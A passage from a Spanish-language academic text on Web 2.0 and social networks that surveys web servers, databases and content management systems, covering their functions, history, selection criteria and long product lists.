Apache HTTP Server de Linux; Apache Tomcat. Es el servidor más popular y es
opensource. Se puede instalar en casi todos los sistemas operativos Linux, Unix,
Windows, FreeBSD, Mac OS X y otros.
Cherokee web server27. Es un servidor web multiplataforma, rápido y funcional. Está
escrito en lenguaje C y es opensource.
Lighttpd; servidor web gratuito implementado para Windows, Linux, Mac OS X,
Solaris.
Sun Java System Web Server. Soporta varios lenguajes, scripts y tecnologías
requeridas para Web 20 como JSP, Java Servlets, PHP, Perl, Python, Ruby on Rails,
ASP, Coldfusion y otros.
The Sun Java System web server supports various languages, scripts and
technologies required for Web 2.0 such as JSP, Java Servlets, PHP, Perl, Python, Ruby
on Rails, ASP and Coldfusion etc.
Jigsaw Server, es un servidor opensource y gratuito creado por el World Wide Web
Consortium. Esta implementado para Linux, Unix, Windows, Mac OS X, Frees BSD,
etc. Está escrito en Java y puede correr scripts de CGI (Common Gateway Interface) y
programas de PHP.
26
Fuente: http://www.tutorialspoint.com/web_developers_guide/web_server_types.htm.
27
Fuente: http://es.wikipedia.org/wiki/Cherokee_(servidor_web).
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sociales
Como bases de datos que trabajan en el mercado actual podemos destacar:
Oracle
IBM DB2
Microsoft SQL Server
MySQL
Informix
Sybase
PostgreSQL.
El software de los servidores también lo podemos enfocar a nivel de tecnologías como AJAX
que es la más destacada en la Web 2.0, pero lo veremos más en la parte de comunicación
entre cliente y servidor.
Y por último podemos destacar los sistemas de gestión de contenidos o Content

Management Systems (CMS). Los CMS son un programa insertado en el servidor que permite
al usuario mediante una interfaz administrar y crear contenidos en las páginas Web; son muy
usados para la creación de blogs.
Vamos a desarrollar más en profundidad el tema de los CMS ya que es el software que va más
enfocado exclusivamente a las redes sociales y portales 2.0.
10.3.1. Sistemas de Gestión de Contenidos (CMS)
10.3.1.1. Introducción
En el pasado, administrar una web era un trabajo tedioso y laborioso ya que las herramientas
usadas eran editores WYSIWYM28, más enfocados a la creación que al mantenimiento,
contrapuestos al paradigma WYSIWYG29. Los CMS nos proporcionan un entorno que nos
permite gestionar, actualizar y mantener nuestro portal Web con múltiples usuarios. Una de
las mayores ventajas actualmente de los CMS es que disponemos de gran variedad de ellos
para cualquier ámbito y que muchos de ellos son de código abierto, es decir que tenemos
acceso libre a estos.
10.3.1.2. ¿Qué es un CMS?

Los Sistemas de Gestión de Contenidos o CMS (del inglés Content Management System) son
un software que permite administrar los contenidos de las páginas Web y se usan mucho en
Web 2.0.
Un CMS, se trata de un conjunto de herramientas que gestionan varias BBDD conjuntamente,

que es donde se aloja el contenido de la Web, diferenciando entre el diseño y el contenido.
Esto permite que si quisiéramos cambiar la interfaz de nuestra Web, el contenido
28
WYSIWYM, del inglés What You See Is What You Mean que significa “lo que ves es lo que quieres decir”. Se trata de un modelo
de edición de páginas Web donde el usuario introduce el contenido Web de manera estructurada siguiendo el valor semántico,
pero no representa el formato final.
29
WYSIWYG, del inglés What You See Is What You Get, contrapuesto al paragidma WYSIWYM. WYSIWYG es hoy en día más
aceptado en internet. La edición de páginas Web este dominada por este modelo, donde el formato de los documentos es
habitualmente HTML.
Página 98
sociales
permaneciese inalterable y así poder modificar el diseño de la web de manera más fácil y
eficiente.
Consisten en una serie de programas en el servidor web y de manera opcional en el cliente

para acceder de manera fácil, eficiente y organizada a los datos de la página Web. El diseño de
éste, permite facilitar la creación de contenidos, así como la presentación de estos. Un CMS
proporciona un acceso uniforme y cómodo a una web con actualizaciones constantes, sobre la
que trabajan múltiples usuarios con diferentes perfiles.
10.3.1.3. Funcionalidad de los sistemas de gestión de contenidos

James Robertson30, propone una división de las funciones de los CMS de la siguiente manera:
Creación de contenido
Un CMS permite que un usuario sin amplios conocimiento técnicos pueda centrarse en el
contenido y en el diseño a la vez; esto se consigue habitualmente con editores de texto al
estilo WYSIWYG donde el usuario puede ver el resultado final a la vez que crea el contenido de
manera limitada.
Para la creación de contenido un CMS aporta herramientas que permiten definir la estructura,
formato de las páginas mediante uso de patrones, diseño de las páginas y un sistema modular
para permitir futuros cambios.
Gestión de contenido
Los CMS nos aportan herramientas para la gestión de los datos de la Web de manera
estructurada y jerárquica permitiendo modificaciones. En la base de datos de la Web se
almacena múltiple información como datos relativos a los documentos con sus versiones,
autor, fecha, caducidad…
Esta gestión de contenido también permite la organización de los usuarios teniendo

administradores, editores, autores y usuarios con diferentes permisos, lo que es
imprescindible para facilitar el workflow31.
Publicación
Una vez que el artículo o la página se aprueban, se publica hasta su fecha de caducidad y se
hace atendiendo a los patrones predefinidos para esa sección. Según las diferentes secciones
tendrán un aspecto consistente para todas las Webs. Como comentábamos al principio, esta
separación entre contenido y forma permite gestionar el sitio Web de manera muy versátil.
Presentación
Los CMS gestionan de manera automática la accesibilidad a la web con soporte de normas
internacionales como la WAI (Web Accessibility Initiative) del W3C (World Wide Web
Consortium) y se adaptan a las preferencias de cada usuario. Los CMS proporcionan
30
“How to evaluate a content management system” por James Robertson, 2002.
http://www.steptwo.com.au/papers/kmc_evaluate.
31
Flujo de trabajo (del inglés workflow) se refiere a las operaciones de una actividad de trabajo, es decir, cómo se estructuran las
tareas, cómo se realizan, cuál es su orden, cómo se sincronizan, como fluye la información y cómo se realiza el seguimiento y
cumplimiento de estas tareas.
Página 99
sociales
compatibilidad con diferentes navegadores, adaptándose al idioma, sistema métrico o cultura

del lector.
El CMS también gestiona los menús de navegación o la jerarquía de la Web actual, añadiendo
links de manera automática; también se encarga de la gestión de módulos internos y
externos, para poder diferenciar entre secciones o poder modificar el diseño de manera
dinámica.
10.3.1.4. Historia
A principio de los noventa el concepto de CMS era desconocido. Los primeros CMS los
desarrollaron organizaciones que publicaban gran cantidad de contenidos en internet como
revistas, periódicos o publicaciones corporativas.
En el año 1994, Illustra Information Technology usaba una BD de objetos con repositorio de
los contenidos de una Web, con el objetivo de poder reutilizar objetos y ofrecer un entorno a
los autores basados en patrones. Esta iniciativa no triunfo del todo y la empresa fue comprada
por AOL y la BD por Informix. En este mismo año, RedDot comenzó a desarrollar un gestor de
contenidos, que fue presentado a finales de 1995.
En 1995, la CNET, website de noticias tecnológicas publicó su sistema de administración y

publicación de documentos, creando la compañía Vignette, pionera en sistemas de
administración de contenidos. En 1997 se desarrolla uno de los primero CMS llamado Type 3,
del autor Kasper Skårhøj.
En el año 2000, se empezó a desarrollar la herramienta PHPNuke, popularizando el uso de

estos sistemas. Actualmente, la popularización de blogs y redes sociales así como wikis y
sistemas de groupware32, han convertido a los CMS en una herramienta esencial en internet.
32
Groupware o software colaborativo se trata del conjunto de programas informáticos que integran el trabajo de un proyecto con
múltiples usuarios concurrentes en diferentes estaciones de trabajo a través de internet. Ejemplo de este software pueden ser el
correo electrónico, publicación Web, conferencias de voz, video o datos, calendarios electrónicos, sistemas de gestión de
proyectos, redes sociales, etc.
Página 100
sociales
Se podría decir que el paradigma de los CMS en la actualidad es Wordpress, sino veamos este
gráfico33 elaborado por Technorati.
Ilustración 17. CMS Used by Technorati Top 100.
10.3.1.5. Presente y Futuro

Uno de los campos más interesantes en la actualidad es la incorporación de estándares
dentro de los portales encaminados a homogeneizar las interfaces de programación de estos
para mejorar la compatibilidad de los componentes, facilitar el aprendizaje al cambiar de
sistema y aportar calidad y estabilidad.
Alguna de las iniciativas actuales de estandarización más importantes son las portlets34:
Java Specification Request, API JSR-168, permite la interoperabilidad de portlets

entre portales Web diferentes
Content Repository JSR-170
Algunos de los estándares incluyen CSS (creación de hojas de estilo), XML (lenguaje de
marcado que permite estructurar el documento), XHTML (mezcla de CSS y XML orientado a la
presentación de documentos), WAI (accesibilidad del sistema) y RSS (para sindicación de
contenidos).
33
“Los CMS más utilizados por las grandes páginas” de SoyGik, informe elaborado por Technorati, 2008.
http://www.soygik.com/los-cms-mas-utilizados-por-las-grandes-paginas/.
34
Los portlets se tratan de componentes modulares de las interfaces de usuario que se gestión y se visualizan a través de una
Web. Estos componentes producen fragmentos de código de marcado generando contenido de manera dinámica. Una Web se
puede definir como una colección de ventanas de portlets. Por ejemplo para el correo un portlet puede ser el parte meteorológico,
un foro, noticias…
Página 101
sociales
Las aplicaciones más comunes que rodean los CMS son servidores Apache e ISS (Internet
Information Server), como aplicaciones de servidor y bases de datos MySQL y PostgreSQL.
Debemos destacar LAMP, un conjunto de sistemas software que son necesarios para alcanzar
una solución global para configurar un sitio web o un servidor de manera dinámica. LAMP
adquiere sus siglas de Linux como sistema operativo, Apache como servidor web, MySQL
como gestor de bases de datos y Perl, PHP o Python como lenguajes de programación.
Para un futuro se podrían prever cambios en los CMS, según Robertson:
Cuando los productos del mercado se estabilicen y haya más competencia, los
CMS se convertirán en artículos de consumo. Al haber más competencia
disminuirán los precios y aumentaran las funcionalidades de estos.
Empresas que implementan Webs cerraran y otras nuevas saldrán al mercado, de
tal manera que éste ira madurando adquiriendo consistencia y profesionalidad.
Al tender cada vez más a la estandarización, habrá proyectos que no se ajusten a
estos y fracasarán por no cumplir criterios de usabilidad, arquitectura de la
información, gestión de conocimiento o contenido.
Se adoptarán estándares de almacenaje, estructuración y gestión de contenidos.
Se fusionarán la gestión de contenidos, gestión de documentos y gestión de
registros
Los CMS de código abierto seguirán una línea de desarrollo similar hasta hora.
10.3.1.6. Necesidad de un CMS

Si pensamos en un Web estática, en la que la mayoría de las páginas no van a actualizarse en
un futuro con regularidad y en la que no intervienen varios usuarios, podríamos decir que un
CMS no sería muy útil, pero este tipo de Webs hoy en día son muy pocas, por no decir
ninguna.
Muchos administradores utilizan CMS de manera gratuita para gestionar su portal para
obtener una Web dinámica y con múltiples funcionalidades.
Destaquemos los puntos más importantes por los que se necesitaría un CMS:
Incluir nuevas funcionalidades en la Web. Con un CMS a través de módulos se

puede hacer de manera sencilla y rápida.
Mantenimiento de un gran número de páginas.
o Es necesario un sistema que distribuya trabajos de creación, edición,
mantenimiento con diferentes permisos en las distintas secciones.
o También hay que gestionar los metadatos, almacenar diferentes
versiones de documentos (fecha de publicación, autor, fecha de
caducidad, enlaces rotos, etc.).
o La Web deberá estar formada por documentos con una presentación que
tenga una estructura común, independiente de ellos, pero contenerlos
adecuadamente (con menús de navegación, etc.).
Página 102
sociales
Reutilización de objetos y componentes. El CMS da la posibilidad de recuperar y

utilizar páginas y documentos que estén publicados o almacenados.
Páginas con múltiples funcionalidades e interactivas. Los CMS conectan con el
repositorio de la BBDD y modelan la estructura final en el lado del cliente. El
usuario modelará esta estructura en el lado del servidor de manera de manera
dinámica gracias al CMS:
o Capacidad de servir un mismo documento en formatos diferentes
(XHTML, PDF, etc.).
Cambios en el diseño de la Web. Los CMS proporcionan una excelente
separación entre contenido y forma, de tal manera, que a la hora de modificar
alguno de los dos no afecte a la otra parte.
Consistencia en el portal. Los CMS aplican un mismo estilo para todo el portal y
una misma estructura para dotar de un orden visual al portal.
Disponer de un sistema flexible y eficiente de búsqueda, indexado y consulta de
documentos.
Control de accesos.
o Gestionar los diferentes permisos para cada área de la Web.
o Permitir compartir y actualizar documentos a varias personas en
diferentes entornos y con diferentes conocimientos sobre el sistema.
o Ofrecer servicios interactivos para los usuarios, como acceso restringido,
personalizar la interfaz, publicación de comentarios…
10.3.1.7. Criterios de selección de un CMS

Antes de elegir entre un CMS u otro, debemos tener claro los objetivos del portal. Podemos
enumerar los diferentes criterios de selección de un CMS extraídos de las indicaciones de
Robertson J. (2002), son los siguientes:
Código abierto. Existen múltiples CMS de código abierto para todos los ámbitos y
muy profesionales, por lo que no será necesario escoger un CMS comercial. Se
puede considerar que un CMS con licencia al ser de pago es más estable y
coherente, pero en este ámbito esto no es del todo así, ya que los CMS de código
abierto también están coordinados por grupos de trabajo y empresas de manera
similar a los comerciales.
Arquitectura técnica. Tiene que diferenciar entre contenido y diseño, así como
una estructura estable elaborada a base de módulos para futuras modificaciones.
Grado de desarrollo. Según la madurez de la aplicación.
Soporte a usuarios. El CMS deberá ofrecer soporte a usuarios, tanto de los
creadores como por parte de los desarrolladores.
Usabilidad. El CMS deberá ser fácil de utilizar y de rápido aprendizaje para que un
usuario sin amplios conocimientos técnicos le pueda sacar el máximo
rendimiento.
Página 103
sociales
Accesibilidad. Deberá cumplir estándares de accesibilidad como el WAI35 (Web

Accessibility Initiative).
Velocidad de descarga alta.
Funcionalidades que debería incluir:
o Editor de contenidos al estilo WYSIWYG.
o Buscador.
o Comunicación entre usuarios a través de foros, chat, comentarios…
o Noticias, artículos…
o Permitir los workflows con diferentes usuarios y grupos de trabajo.
o Fechas de publicaciones y caducidad para documentos.
o Webs personales.
o Carga y descarga de documentos así como material multimedia.
o Avisos por correo electrónico de actualizaciones en la Web como
comentarios en foros o noticias.
o Envío de páginas de artículos por correo electrónico.
o Versión imprimible para las páginas.
o Personalización del sitio Web para cada usuario.
o Posibilidad de traducción para diferentes idiomas.
o Soportar múltiples formatos como HTML, Word, PDF, etc.
o Soportar diferentes navegadores como Internet Explorer, Mozilla Firefox,
etc.
o Soporte de sindicaciones como RSS, NewsML, etc.
o Permitir ver estadísticas de uso.
o Control de páginas caducadas y links rotos.
10.3.1.8. Tipos de Gestores de Contenidos

Podemos dividir los tipos de gestores según varios criterios.
Lenguaje de programación:
ASP
Java
PHP
ASP.NET
Ruby On Rails
Python
Propiedad del código:

Código abierto.
Código propietario o privado.
Tipo de uso o funcionalidad:

Plataformas generales: los CMS de plataformas generalizadas permiten
gestionar cualquier tipo de Web. Se pueden configurar a nuestro gusto y siempre
35
WAI, Iniciativa para la Accesibilidad Web. Es una rama del W3C que vela por la accesibilidad de la Web.
Página 104
sociales
tenemos la posibilidad de ampliar sus funcionalidades. Este tipo de CMS lo

utilizan periódicos y publicaciones como por ejemplo www.elmundo.es o
www.salon.com.
Sistemas específicos: estos CMS están desarrollados específicamente para un
portal en concreto.
Blogs, Bitácoras o Weblogs: Tenemos portales como www.blogger.com o
www.myspace.com.
Foros: Web donde varios usuarios comentan opiniones. Ejemplos de foros
www.forojovenes.com, www.foro-ciudad.com, www.forocoches.com,
www.enfemenino.com, etc. Hay millones de foros sobre temas diferentes en la red.
Wikis: desarrollo colaborativo de cualquier tema en una Web. El ejemplo por
excelencia es www.wikipedia.org.
E-learning: Webs enfocadas a la enseñanza. Por ejemplo portal de e-learning de
la junta de Andalucía http://prometeo3.us.es.
E-commerce: plataforma de comercio electrónico para compra y venta de
usuarios como puedes ser www.ebay.com.
Contenido multimedia: Ejemplo www.youtube.com.
10.3.1.9. Listado de sistemas de gestión de contenidos.

Vamos a ver un listado36 de todos los CMS que tenemos en la actualidad en el mercado.
Plataformas de gestión de contenidos:
Tabla 13. Plataformas de gestión de contenidos, CMS.
CMS Lenguaje Descripción Web

ActionApps PHP CMS de uso difundido entre los profesionales de la Actionapps.org
información.
Apache Lenya Java/XML Escrito en Java, manejando el formato de Lenya.apache.org
representación XML y basado en Apache Cocoon.
ASP Nuke ASP Un CMS basado en ASP de código libre. Aspnuke.com
AutoCMS PHP Un CMS muy sencillo de usar y en el menor Php.opensourcecms.com
espacio, menos de 10Kb.
Blakord Portal ASP CMS en ASP con código libre y totalmente en Cdv3k.com
español. Próximamente habrá nueva versión libre,
Draco Portal.
CMS10 PHP, SWF Gestor de contenidos de nueva generación. Cms10.net
y Ajax
CMS Gestor de contenidos para administrar sitios web. Cms.hydraportal.pl
HYDRAportal
CMS Contenido PHP Sistema de gestión de contenidos para negocios. Contenido.org
CMSimple Un gestor simple para el mantenimiento rápido de Cmsimple.dk
pequeñas Webs. Es simple, pequeño y rápido.
36
Fuentes obtenidas para el listado:
“Listado de sistemas de gestión de contenidos” de Ecured, abril de 2010.
http://www.ecured.cu/index.php?title=Listado_de_sistemas_de_gesti%C3%B3n_de_contenidos&oldid=45314.
“Gestores de contenidos” de Joomlamalaga. http://www.joomlamalaga.es/diseno-web-joomlamalaga/gestores-contenidos-
cms.html.
“Sistema de gestión de contenidos” de Wikipedia, septiembre de 2010.
http://es.wikipedia.org/wiki/Sistema_de_gesti%C3%B3n_de_contenidos.
Página 105
sociales
cmsMadeSimple PHP CMS fácil de usar y con muchos "add-ons" para Cmsmadesimple.org
añadir.
door108 PHP CMS totalmente en español basado en e107. Door108.com.ar
Incluye novedades como sistema de
administración multitarea y multiarea para la
creación de cientos de sitios sin ocupar casi
espacio físico.
Dédalus PHP CMS que pretende ser una revolución en el mundo Truzone.org
de los gestores de contenidos, centrándose en la
seguridad, mejora de características tradicionales
e incorporación de ideas innovadoras.
DotNetNuke .NET CMS desarrollado en .NET, gratis y con fuentes. Dotnetnuke.com
nota: Más que un CMS en sí es un Framework de
.NET pensado para desarrollar CMS entre otras
cosas.
Dragonfly CMS PHP Portal que auna en su core: foros, galerías de Dragonflycms.org
fotos, descargas y noticias, entre sus módulos más
representativos.
Drupal PHP Poderoso CMS muy conocido por la calidad de su Drupal.org
código y por la seguridad que brinda, es estable y
de actualización continua, configuración sencilla,
instalación ágil, importante cantidad de módulos y
temas visuales, excepcional documentación y
comunidad activa y muy amigable, gran concepto
de nodo.
DynamicWeb .NET CMS desarrollado en .NET, solución con más de 60 Dynamicweb.es
CMS módulos y una aplicación completa de
eCommerce.
Elgg PHP CMS muy completo y fácil de administrar y usar, Elgg.org
ideal para usuarios con nuevos.
E107 PHP CMS muy completo y fácil de administrar y usar, E107.org
ideal para usuarios con conocimientos generales
acerca de estos sistemas. Sencillo sistema de
instalación, amplia selección de temas visuales y
módulos, muy flexible, backend muy bien
ordenado, drop down menú agradable y
organizado.
eZ Publish PHP CMS framework muy potente que sirve para Ez.no
páginas Webs, intranets, comercio electrónico,
extranets y portales.
Gekko PHP CMS en español muy seguro, fácil de configurar y Unixmexico.org
altamente escalable.
Jaws PHP Framework y CMS amigable para el usuario y Jaws-project.com
desarrollador.
Joomla PHP y Versión surgida de Mambo independiente de la Joomla.org
MySQL empresa que está detrás de Mambo. Instalación
muy sencilla y con muchas extensiones y módulos,
la documentación es exhaustiva y concisa, interfaz
de la administración muy intuitiva y poderosa,
backend muy utilizable y editor WYSIWYG,
opciones de personalización, una gran comunidad
de usuarios.
Jupiter Content PHP y Jupiter es una herramienta potente y fácil de usar Script.wareseeker.com
Manager MySQL que usa MySQL como base de datos.
Página 106
sociales
Magnolia CMS Edición Comunitaria La Edición Comunitaria de Magnolia-cms.com

Magnolia es un Sistema de Manejo de Contenidos
Empresariales poderoso, gratuito y fácil de usar.
Está disponible bajo una licencia de Código
Abierto, la versión 3 GPL. La Edición Comunitaria
de Magnolia incluye una interface de navegador
Web intuitiva creada por AJAX, una interface de
programación de aplicaciones o API (del inglés
Application Programming Interface) clara y
programable por medio de Java y una útil
biblioteca personalizada para plantillas fáciles en
JSP y Servlets. Puede utilizar cualquier repositorio
de contenido JSR-170. Hay también una edición
Empresarial la cual no es gratis y tiene soporte de
parte del vendedor. Es uno de los pocos CMS open
source basado en el estándar JSR-170. Muy fácil e
intuitivo de usar, además de ser altamente
escalable por su arquitectura de servidores
distribuidos. Además de la versión comercial
destinada a las empresas, tiene también una
versión gratis comunitaria. Al estar basado en PHP
y MySQL ofrece gran capacidad de adaptación en
múltiples plataformas y flexibilidad para añadir
modificaciones.
Mambo PHP CMS muy fácil de usar, pero con posibilidades un Mamboserver.com
poco limitadas.
MemHT Portal PHP CMS libre para creación y gestión de contenido Memht.com
online y de fácil uso.
MODx PHP MODx es un derivado (Fork) de Etomite, resulta Modxcms.com
ser un CMS más versátil que otros demasiado
estructurados.
NukeET PHP CMS totalmente en español basado en el PHP- Truezone.org
Nuke.
Openflavor PHP Gestor de contenidos Web en castellano. Zonagratuita.com
OpenCms Java OpenCMS de Alkalon Software es un CMS Opencms.org
profesional, fácil de usar.
PHP REGION Ñ PHP Un CMS al estilo php-nuke pero desarrollado Desarrolloweb.com
totalmente en español.
Plone Zope y Muy flexible y poderoso, excelente interfaz de Plone.org
Python usuario, instalación muy limpia, buena cantidad de
addons, impresionante grado de personalización,
integración con LDAP u otros sistemas de login.
PHP-Nuke PHP Es un gestor de contenidos para administrar la Phpnuke.org
web, personalizar bloques, modulos y temas con
soporte para varios idiomas.
Phpwcms PHP CMS orientado a la construcción de sitios Web Phpwcms.de
para profesionales y empresas.
POC-CMS PHP CMS totalmente desarrollado en español basado Poccms.com
en el PHP REGION Ñ.
Postnuke PHP Poderoso CMS/Web Framework modular con Postnuke.com
motor de temas visuales para una interfaz de
usuario muy flexible y fácil de mantener, con gran
cantidad de módulos para toda necesidad, con un
Network Operations Center para soportar una
gran comunidad de desarrollo muy activa, y con
un código fuente muy limpio y de alta calidad.
SPIP PHP Gestor de Contenido de licencia libre. Spip.net
Textpattern PHP Un CMS flexible, elegante y fácil de usar. Textpattern.com
Tiki CMS PHP Tiki es una aplicación para mantener un website, Info.tiki.org
wiki, groupware, CMS, foro, blog o bug.
Página 107
sociales
TYPO3 PHP Herramienta CMS con estructura multinivel, Typo3.com

motor de búsquedas, gestión de autoría y
publicación de contenidos, mecanismo de uso de
plantillas para la maquetación de páginas,
multilenguaje,… Es también una herramienta
portal: administra la personalización de las
páginas según la identidad de los usuarios. Es
enteramente extensible por módulos. Dispone de
una comunidad muy activa.
TYPOLight PHP Potente CMS especializado en la accesibilidad. Contao.org
Utiliza XHTML y CSS para generar páginas que
cumplen W3C/WAI. Desarrollado por Leo Feyer en
2004 bajo licencia GPL.
WebGUI Perl Ocupa más de 40 MB, flexible, adaptable, Webgui.org
multilingüe.
Webmaster CMS PHP CMS que permite editar nuestro website en Athensguy.com
cualquier momento y desde donde queramos.
Website Baker PHP y Es un potentísimo CMS muy fácil de usar, Websitebaker2.org
MySQL configurar y extender. Puede crear páginas
estáticas o dinámicas independientes con acceso a
diferentes usuarios o grupos de usuario. Posee
módulos y dropletts para extenderlo. Hay una
buena variedad de plantillas listas para subirlas y
activarlas en el sitio.
Xaraya PHP Es un CMS bastante potente y general, aunque Xaraya.com
con una elevada curva de aprendizaje.
XOOPS PHP CMS modular. Instalación sencilla, gran soporte Xoops.org
comunitario, gran cantidad de módulos y temas
visuales, mucha funcionalidad, sistema de
permisos muy bueno.
Gestores de contenidos para Blogs:

WordPress (PHP/MySQL)
b2evolution.net (PHP/MySQL)
pMachine Pro (PHP/MySQL)
bBlog (PHP)
Simple PHP Blog (PHP)
DotClear (PHP/MySQL)
Serendipity (PHP/MySQL)
BLOG:CMS (PHP/MySQL)
Lifetype (PHP/MySQL)
Webmaster CMS (PHP)
Plone
Post Revolution (PHP/MySQL)
Nucleus CMS (PHP/MySQL)
Textpattern (PHP)
CMS para E-learning:

Joomla (PHP/MySQL) Gestión de Centros Educativos.
.campus
Página 108
sociales
.LRN
ANGEL Learning
Apex Learning K-12
TeleAprendizaje
ATutor
Blackboard
Bodington
Claroline
ClassCentral
Click-a-teacher
Desire2Learn
Digilearn²
Dokeos
eCollege
Edumate
FirstClass
FrogTeacher
Fronter
ILIAS
Kaleidos (VTLE)
LON-CAPA
Moodle
OLAT
Sakai Project
Scholar360
VClass
WebCT
CLIX
Studywiz
Ossett
Teletop
CMS para foros:

WordPress (PHP/MySQL)
b2evolution.net (PHP/MySQL)
pMachine Pro (PHP/MySQL)
bBlog (PHP)
Simple PHP Blog (PHP)
DotClear (PHP/MySQL)
Serendipity (PHP/MySQL)
BLOG:CMS (PHP/MySQL)
Lifetype (PHP/MySQL)
Webmaster CMS (PHP)
Plone
Post Revolution (PHP/MySQL)
Nucleus CMS (PHP/MySQL)
Textpattern (PHP)
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sociales
CMS para galerías

Gallery (PHP/MySQL)
plogger (PHP/MySQL)
coppermine (PHP/MySQL)
FileBrowser (PHP/MySQL) Sistema de administración de archivos (sobre todo
imágenes) de los creadores de Vanilla Lussumo.com y por lo tanto con la misma
filosofía de trabajo.
Pixelpost (PHP/MySQL) gestor de fotologs
PyASC (Python/MySQL) Sistema de administración de contenidos para Galerías de
Arte.
CMS para wikis

MediaWiki (PHP. Un CMS que permite que todos puedan modificar el contenido)
TikiWiki (PHP)
Dokuwiki (PHP)
PmWiki (PHP)
CMS para E-commerce

osCommerce (PHP/MySQL)
Magento (PHP/MySQL)
PrestaShop (PHP/MySQL)
Zen Cart
CMS para groupware

Webcollab (PHP/MySQL)
CMS de Código Abierto

ADSM Portal 2.0 Gestor de contenidos para PYMES de ADSM Solutions. Mediante
plantillas, es posible adaptar por completo el sitio Web a las necesidades del cliente.
Su sencillo panel de administración permite al cliente editar, añadir y eliminar
contenidos. El sistema es totalmente escalable, pudiendo adaptarse a todo tipo de
necesidades, desde pequeños sitios Web hasta completos portales de contenidos.
Portal Builder CMS - Un nuevo e innovador gestor de contenidos. Portal Builder CMS
es un nuevo producto de tercera generación que se lanzó al mercado a mediados del
2009 por la empresa SOFTENG - especialista en diseño y desarrollo de Webs usando
su gestor de contenidos. Desarrollado en sus etapas iniciales en colaboración con
Microsoft, cubre necesidades exigentes en empresas medianas y grandes que buscan
una solución profesional para gestionar su Web y llevar a cabo su estrategia de
marketing online, pero a un precio razonable comparado con los costes de licencia e
implantación de los productos del cuadrante de Gartner. El video de su sistema de
edición es una pequeña muestra de su potencia: Video de la edición in site del gestor
de contenidos - Portal Builder CMS
Agrupalia Skipper. Skipper Agrupalia permite el control y administración de los
contenidos Web de forma fácil y flexible. Sin utilizar plantillas predefinidas, sin
necesidad de infraestructura técnica y sin límites en el desarrollo de funcionalidades.
GlobalSys - Gestor de portales Web y contenidos
Aladetres, Completo gestor CMS para empresas y administración local sobre
tecnología LAMP. Implementación personalizada.
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sociales
AST X-CMS Un CMS hecho en ASP, almacena los datos en archivos XML, maneja
múltiples formatos, foros, blogs.
Autoeditable. Autoeditable está orientado a pequeñas empresas y profesionales que
necesiten una Web y poder autogestionar sus contenidos de forma fácil y rápida.
Aurix Software Solutions. Aurix Software Software (que incluye aurix Portal System,
aurix Project Management, aurix Balanced Scorecard, etc.) son soluciones de Magia
Comunicaciones S.A. orientadas a compañías que requieran un sistema modular y
robusto para la administración de portales y manejo de contenidos, permitiendo la
entrega de servicios personalizados y la creación de contenidos a través de
administradores Web de fácil utilización.
Hábitat Portal. Hábitat es un CMS en español, Amigable, Personalizable, Orientado a
servicios y Generador de comunidades.
Content-SORT, clasificado como Sistema de Gestión de Portales y de Contenidos
Web (CMS), soporta todos los estándares Web W3C y de accesibilidad definidos por la
WAI. Orientado originalmente sobre tecnología LAMP, realmente es multiplataforma
(PHP), y se basa en una arquitectura de 3 capas: Bases de Datos, Aplicación,
Presentación. Sitio oficial Content-SORT
Infodata de dbyse systems (www.dbyse.com), es un gestor de contenidos avanzado
para el mundo editorial, con capacidad para manejar más de 60 tipos distintos de
ficheros, provenientes de casi cualquier canal informativo, homogeniza los contenidos
en base de datos y los muestra a los clientes a través de una Web publicada en la
intranet
Eximius2 CMS. Eximius2 CMS es un sistema de gestión de contenidos que permite la
administración completa de un portal o sitio Web, y es lo suficientemente flexible para
crecer junto con cualquier organización desde muy pequeña hasta grandes
productores de información. El sistema incluye Modelado de Contenidos, Gestión de
Versiones, contenidos Multi-Idioma, Formularios dinámicos, etc.
Globalsys, * El primer gestor de portales y contenidos que se comercializo en España.
Actualmente más de 400 empresas lo utilizan.
AWM: Avant Site Web Management]] pertenece a la última generación de Flash
CMS's o Flash Content Management Systems, creados para la Web 2. Es uno de los
pocos del mercado que permite a los Web masters crear sitios enteramente flash, con
contenidos multimedia embebidos (no emergentes) y gestión de contenidos.
También da la posibilidad de que el usuario final tenga su propio site Flash CMS.
Civinext Groupware 2.0 Es una plataforma desarrollada exclusivamente para
administrar de manera eficiente la gestión de la comunicación interna y externa en
una organización. Se caracteriza por integrar diferentes sistemas en uno solo: los
sistemas de gestión de contenidos (CMS) multimediales, los sistemas de
postulaciones laborales (E-Recruitment), la administración de eventos, la gestión de
blogs interactivos, la gestión de sistemas de encuestas y la gestión de empleados e
internos.
Contendo CMS. Permite al usuario actualizar la información de su sitio Web de una
forma muy rápida y sencilla, sin necesidad de conocimientos técnicos. Desarrollado
por Ensitech.
VRContents (Perl) Es un CMS desarrollado en Chile por VRWEB orientado a ser
flexible y configurable para cada necesidad.
Prodigia Easy Site Manager (Flash 8, PHP, MySQL, AS 2.0) Innovador y funcional
Flash CMS. Implementa ingeniería del SW por capas. Permite crear portales, Webs
corporativas o tiendas virtuales con pasarela de pago 100% Flash. Fácil (cualquier
usuario sin conocimientos técnicos lo gestiona), ágil e intuitivo. Gestión WYSYWYG,
Página 111
sociales
Gestor de perfiles de usuarios y de usuarios, creación de plantillas, multi-idioma,

menús multinivel, escalable. Todos los contenidos (video, audio, imágenes,
documentos, ficheros,...) integrados sin ventanas emergentes, flash fpt integrado
para subir y gestionar ficheros, gestión de portada, dispone de soporte técnico
videoconferencia integrado, gestión de secciones drag & drop, 5 años de desarrollo en
continua mejora.
Jarimba, CMS en Java desarrollado por Kruger Corporation
http://www.kruger.com.ec , Su página oficial es: http://www.jarimba.com
MotoresWEB. Gestor de contenidos con múltiples módulos y con la ventaja de ser
autoactualizable, de modo que sus usuarios cuentan siempre con la última versión
disponible
Fichas.com. Poderoso y CMS para crear sitios Web corporativos permitiendo
catálogos, formularios, sistema de usuarios, etc. Muy simple de usar, de Interchile
Network
Avant Site de SWID. Lo último en Flash CMS, aplicación cliente que permite
actualizar contenidos audio-vídeo en interfaces totalmente flash. Pure Mind es un
administrador de proyectos Web que permite gestionar redes de Avant Site's.
[email protected]
Content Management Server de Microsoft
CoreMedia CMS de CoreMedia
essContent. Plataforma de Administración de Contenidos. Permite a los usuarios
generar y editar contenidos atractivos para su sitio Web o intranet corporativa.
Interfaz intuitiva que permite agregar imágenes, tablas y textos; publicando y
editando en tiempo real, en forma organizada y descentralizada.
